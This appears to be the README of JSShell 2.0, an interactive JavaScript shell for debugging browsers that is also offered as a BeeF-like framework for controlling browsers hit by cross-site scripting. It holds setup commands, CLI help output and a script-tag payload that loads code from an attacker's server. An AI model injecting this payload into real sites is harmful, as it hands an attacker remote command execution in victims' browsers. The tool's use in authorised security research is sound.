An interactive multi-user web based javascript shell. It was initially created in order to debug remote esoteric browsers during experiments and research. This tool can be easily attached to XSS (Cross Site Scripting) payload to achieve browser remote code execution (similar to the BeeF framework).
Version 2.0 is created entirely from scratch, introducing new exciting features, stability and maintainability.
- Multi client support
- Cyclic DOM objects support
- Pre flight scripts
- Command Queue & Context
- Extensible with Plugins
- Injectable via
<script>
tags - Dumping command output to file
- Shell pagination
In the resources
directory, update the config.json
file with your desired configuration:
- Database host - if running with the
docker
deployment method, choose the database host asdb
(which is the internal host name). - Return URL - the URL which the requests will follow. The
shell.js
file does some AJAX calls to register and poll for new commands. Usually it will behttp://{YOUR_SERVER_IP}:{PORT}
. - Startup script - a script that runs automatically when the JSShell CLI client is spawned.
- It is also possible to point at a remote database if desired.
This new version instructed installing and running via docker
and docker-compose
. Now, to install and run the entire
JSShell framework, simply run:
$ ./start_docker_shell.sh
This will:
- Start and create the database in the background
- Start the web API server that handles incoming connections in the background
- Spawn a new instance of the
JSShell
command line interface container
If you still want to use the old fashion method of installing, simply make sure you have a MongoDB
database up and running, and update the config.json
file residing in the resources
directory.
I recommend using a virtual environment with pyenv
:
$ pyenv virtualenv -p python3.6 venv
$ pyenv activate venv
Or using virtualenv
:
$ virtualenv -p python3.6 venv
$ source venv/bin/activate
Then, install the requirements:
$ pip install -r requirements.txt
If you used the docker
method, there's no need to run the following procedure.
Otherwise, once we have the database setup, we need to start the web API server. To do, run:
$ python manage.py web
This will create and run a web server that listens to incoming connections and serves our JSShell code.
Now to start the JSShell CLI, run the same script but now with the shell
flag:
$ python manage.py shell
After setup and running the required components, enter the help
command to see the available commands:
╦╔═╗┌─┐┬ ┬┌─┐┬ ┬
║╚═╗└─┐├─┤├┤ │ │
╚╝╚═╝└─┘┴ ┴└─┘┴─┘┴─┘ 2.0
by @Daniel_Abeles
>> help
Documented commands (type help <topic>):
General Commands
--------------------------------------------------------------------------------
edit Edit a file in a text editor
help List available commands or provide detailed help for a specific command
history View, run, edit, save, or clear previously entered commands
ipy Enter an interactive IPython shell
py Invoke Python command or shell
quit Exit this application
Shell Based Operations
--------------------------------------------------------------------------------
back Un-select the current selected client
clients List and control the clients that have registered to our system
commands Show the executed commands on the selected client
dump Dumps a command to the disk
execute Execute commands on the selected client
select Select a client as the current client
>>
JSShell supports 2 methods of operation:
- Injectable Shell (similar to BeeF framework)
- Hosted Shell (for debugging)
Similar to other XSS control frameworks (like BeeF), JSShell is capable of managing successful XSS exploitations.
In example, if you can inject a script
tag, inject the following resource to your payload, and a new client will
appear in your console:
<script src="http://{YOUR_SERVER_IP}:{PORT}/content/js"></script>
If you desire to debug exotic and esoteric browsers, you can simply navigate to http://{YOUR_SERVER_IP}:{PORT}/
and
a new client will pop up into your JSShell CLI client. Now it is debuggable via our JSShell console.
Canop for JSON.prune